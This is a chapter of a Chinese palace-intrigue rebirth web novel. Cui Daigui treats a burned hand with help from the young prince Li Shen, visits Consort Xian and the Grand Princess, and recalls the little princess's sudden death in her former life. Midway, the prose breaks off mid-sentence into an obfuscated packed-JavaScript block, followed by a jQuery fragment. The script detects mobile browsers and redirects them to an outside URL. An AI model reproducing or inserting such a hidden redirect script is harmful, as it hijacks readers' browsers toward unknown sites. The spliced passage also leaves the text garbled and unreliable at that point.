屋内烛光暗淡,崔黛归瞬间心提到嗓子眼了,却害怕歹人狗急跳墙,不敢叫出声来。
她心中霎时转过许多念头,却听到那人喊了声姐姐。
嗯?
崔黛归有一瞬的迷茫,随即陡然转过身,压低了声音喝道:“你怎敢擅自跑到这儿来?!”
李慎走到绣桌前坐下,从怀中摸出一个小玉瓶,“我来替姐姐上药。”
“要你上的什么药?!”崔黛归语气急切,“快快回去,别让人发现了!”
说着她一顿,目光在李慎身上打量一圈,落在他的肚子上,“你的伤好了?”
“姐姐莫急。”
李慎抬手在肚子上拍了拍,“好得差不多啦!姐姐的手如何了?这是混了冰片的獾油,涂抹在烫伤处,消肿止痛又清凉,是我特地求了林御医配的呢!”
崔黛归见他气定神闲的样子,瞧着是真好了。
便问:“你如何知道我烫伤了?一路上怎么过来的?你如今住在何处?回去可方便?”
这一连串的问题问得李慎心中暖洋洋的,他朝身前的崔黛归伸出手。
“姐姐莫急。我如今宿在清月阁中,虽偏僻了些,离琳琅馆却是很近,因而能够跟着顾晏顾舍人学画画。”
“我来前特地找顾舍人布置了功课,即便被人发现,也可说是着急作画,来取颜料的。”
说得崔黛归眉心肝一颤,“你过来告诉他没?”
李慎摇头,“姐姐担心什么?顾舍人乃正人君子,很好说话的。”
他拉了崔黛归在一旁坐下,“......现在还疼不疼?”说着动手拆起纱布来。
崔黛归手一缩,“做什么?我下午才涂的药!”
“我这个药更好。”李慎的手便委委屈屈收了回来,“姐姐救了我的命,我位卑言轻,没什么好报答的......只想着替姐姐上回药,姐姐快快好起来,我心中才能安心......”
崔黛归被他念得耳朵疼,一心只想推他快点离开这里。
却不料他低下头去,拿袖子抹了抹眼,“我出身不好,又是冷宫里长大的,平日也没见过人,连字都认不全,姐姐是不是嫌弃我......”
他的声音分明是少年的清朗,此刻听来却未免带了些如泣如诉的幽怨。
崔黛归本是抿紧了唇看着,此刻听他说来不由地张了张嘴,却又不知说什么。
这些她都知道。可这是他经历过的,她无法改变,甚至连他的以后,她都不想伸手进去。
只得暗暗叹了一口气,认命般抬了手放在桌上。
“快些罢。”她道。
得益于顾晏的那场刺杀,他如今的境遇比起前世来要好得多。然而......人的性情也会截然不同吗?
前世的李慎虽偶尔也会弱弱地喊她一声姐姐,却总是在眼底藏了一抹锋芒和野心,不会如现在般,让人瞧着便心生可怜。
李慎头快埋到胸口了,闻言却是眼睛一亮,一抹飞扬的神采从他眼中一闪而过,崔黛归却并未看到。
他抬起头来,笑得嘴角弯弯,露出脸颊上的梨涡,“宫门都下钥了,宫规森严,不会有人来的......姐姐莫急。”
......那你是怎么来的?
崔黛归仍不住瞪了他一眼。
“我来也是想同姐姐说一声,”李慎动作轻柔地上药,“今日巳时,先蚕礼用的那株桑树在含光门街上被人撞了,近几日太后那边不会太好,姐姐且避开着些,最好请几天假哪儿也不去,就在这屋子里躲清闲罢。”
“二皇子去崇南寺寻的那株桑树?你如何知道?”
崔黛归第一反应却是奇怪。
“少府监的人来请顾大人时,我就在琳琅馆,听到点风声。”李慎眨了眨眼睛,“这本就不是什么机密事,不是么?”
崔黛归便道:“你若愿意听我一句话,便少跟那顾大人来往些!”
“为何?”
这可把崔黛归问住了。
她本是说到这里了才忍不住提醒一声,毕竟人家上辈子可是杀了你全族啊。
可她不能说,甚至于顾晏在士林中名声极好,又因是天子近臣,朝野很多人都受过他恩惠,且他为人和善有礼,至少外人看来,是极好的一个人。
“你听就听,不听就算了。”
崔黛归心中气闷,又瞪了他一眼,“总之我不会害你!”
却看到李慎听完便笑了,一直笑着看她不说话。
崔黛归心中一个咯噔,又找补道:“......你也没什么值得我害的!”
李慎便笑得更肆意了,像只狡黠的小狐狸。
好不容易送走了他,崔黛归洗漱一番躺在床上时,却是翻来覆去地睡不着了。
从东厢房出来,一回这边,她便托了宫女去吿假,内侍省的人许是瞧在贵妃的面上,倒是爽快同意了。
诚如李慎所言,若桑树真出了问题,依太后那个脾气,整个后宫便都成了个洪水猛兽,是半点也沾不得的,那她自然是缩在这西暖阁最好。
本来她也打算请了病假不出门。
然而有一事,她却是不得不办。
因此翌日一早,其他人学习规矩时,崔黛归却花了半个时辰将那蛐蛐精心修补好,找了个宫女去长公主传话。
宫女很快就回来了,还带了长公主身边的大宫女慧心。
“崔二姑娘万安,长公主正在娴妃娘娘宫中喝茶呢,留了话若是您找她便直接去娴妃娘娘那儿,让奴婢给您带路呢!”
崔黛归只好跟着一同去了娴妃所在的启祥宫。
但其实,她心底里也想见一见娴妃陆婉——陆徽之嫡亲的姐姐。
启祥宫中一片欢声笑语,娴妃正在给女儿剥橘子,四岁的小公主在娘亲身前的小兀子上坐着,小腰杆挺得笔直,贤妃喂一个她就吃一个,见到崔黛归时也只是一头扎进娘亲的怀中,透过娘亲温暖的手掌去看人。
九皇子则坐在另一边,他还有两个月就满四岁了,此时正拿着一杆小巧精致的羊毫湖笔,一笔一划认真练着字。
偶尔娴妃喂一瓣橘子过来,他都会先蹙起小小的眉头,然后才伸手去接。
娴妃却不依,直直递到他嘴边,他便只好张开嘴,就着娴妃的手吃下。
惹得长公主哈哈大笑。
崔黛归来时,见到的便是这样一副场景。
她简单行过礼后,长公主便拉着她在身边坐下,对娴妃说:“怎么样,是个美人吧!”
娴妃眼中尽是笑意,如长公主所愿地点了点头,“很漂亮。”
又热情而不失温柔地招呼她吃茶水点心,把她当成个小姑娘一般。
弄得崔黛归一头雾水,没有开口说话的机会。
许是考虑到有小公主小皇子在,殿中并未点香,只拿了些鲜花鲜果摆上。
夹着花果的淡淡清甜香气充盈在殿中,崔黛归一路上提紧了的心都放松些。
“长公主殿下,这蛐蛐修好了,您看看?”
崔黛归取出荷包中的蛐蛐。
“你的手怎么了?”长公主却是第一眼瞧见了她缩在袖中的手。
崔黛归微微有些诧异,长公主已然揭开她的袖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047299|162742||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子,“怎么伤到的?”
她面上露出真切的关心,“这女子的手可不能留疤,既然受伤了就要好好养着,何必去编什么蛐蛐?”
她一顿,“我不过是想亲近亲近你,你如此聪明,难道不知那东西只是个借口?”
“殿下。”崔黛归轻轻喊道,“臣女......臣女不值当您如此厚爱。”
她本是想问长公主为何要这样优待自己,可顾虑着娴妃在旁,又觉此话问出多少有点不知好歹,因而咽了回去。
不料长公主却是噗嗤一笑,“你可不许妄自菲薄呢!”
“我瞧着,可有人稀罕你呢,这不、都求到本宫这儿来了。”
“......是谁?”
崔黛归见长公主说得坦荡,便大着胆子问。
娴妃也睁大了眼睛,“还有这等事?”
“这本宫可不能说!”长公主却神秘地眨了眨眼睛。
小公主见娘亲似乎被欺负了,一下便吐出嘴中的橘子,对着长公主磕磕绊绊道:“你、你......坏!”
说着她就抬了脚,朝长公主那边张牙舞爪地踢起来。
九皇子见状忙起身跑过去,握住她的手不停地安抚,“阿姊乖,阿姊乖!殿下是姨姨,是好人!”
小公主才渐渐平静下来。
娴妃却是瞬间红了眼眶。
她一把抱住两个幼孩,将脸深深埋进他们的颈窝中,手在两个孩子背上一下一下地轻拍着。
过一会儿,她才抬起头来,强撑着对长公主和崔黛归笑了笑。
“表姐,我再托许廉去一趟罗浮山,或许那葛道人瞧着开春了,会回一趟山上呢?”
长公主看着娴妃母女三人中满是担忧。
娴妃有些迟疑,“葛道人年岁已高,又七八年未露面了,或许他已经......如今陛下笃信佛教,你去年遣人去寻已遭了申斥,更何况许驸马......我实在不想再连累你......”
这样说时,两人却是并未避讳崔黛归。
长公主还好说,可对于娴妃来说,崔黛归可是崔贵妃的侄女。
她有些忐忑地听着,只想快些离开这里,并不真正关心那个什么葛道人是否寻得到。
直到听到了陆徽之的字。
是娴妃的声音,她的语气带着刻意为之的轻快,“子德也在私下想法子呢,时日还长,有你们心疼,我的珠珠儿终归会等到好起来的那一天!”
崔黛归听着,落在小公主身上的目光变得认真起来。
小公主是陆徽之的侄女。若是小公主一直如此,他该不好受吧?
前世小公主的昏塞之症到底治好没?
忽然崔黛归心中一悸。
前世这位小公主,可是在先蚕礼之日便没了!
是突然暴毙。
此事被视为不吉秘而不宣,她也是后来过了许久才从李慎那儿听到一耳朵,当时唏嘘几声也就抛诸脑后了。
现下看这么个玉雪可爱的小姑娘坐在小兀子上,便是连哭闹也没有真正伤到人,还是因着为母亲出头。
崔黛归却是无法再同前世那般等闲视之了。
她刚想开口提醒一声,不论是注意风寒生病还是旁的阴谋,都要格外小心些。
可话到嘴边却又蓦地顿住。
她没有理由,更不知小公主的死因。
以她的立场,一旦开口,若日后当真不好,她便首当其冲,成为小公主薨逝的头号疑犯。
可要如何做,才能避免一月之后小公主的死呢?
要寻个机会同陆徽之说么?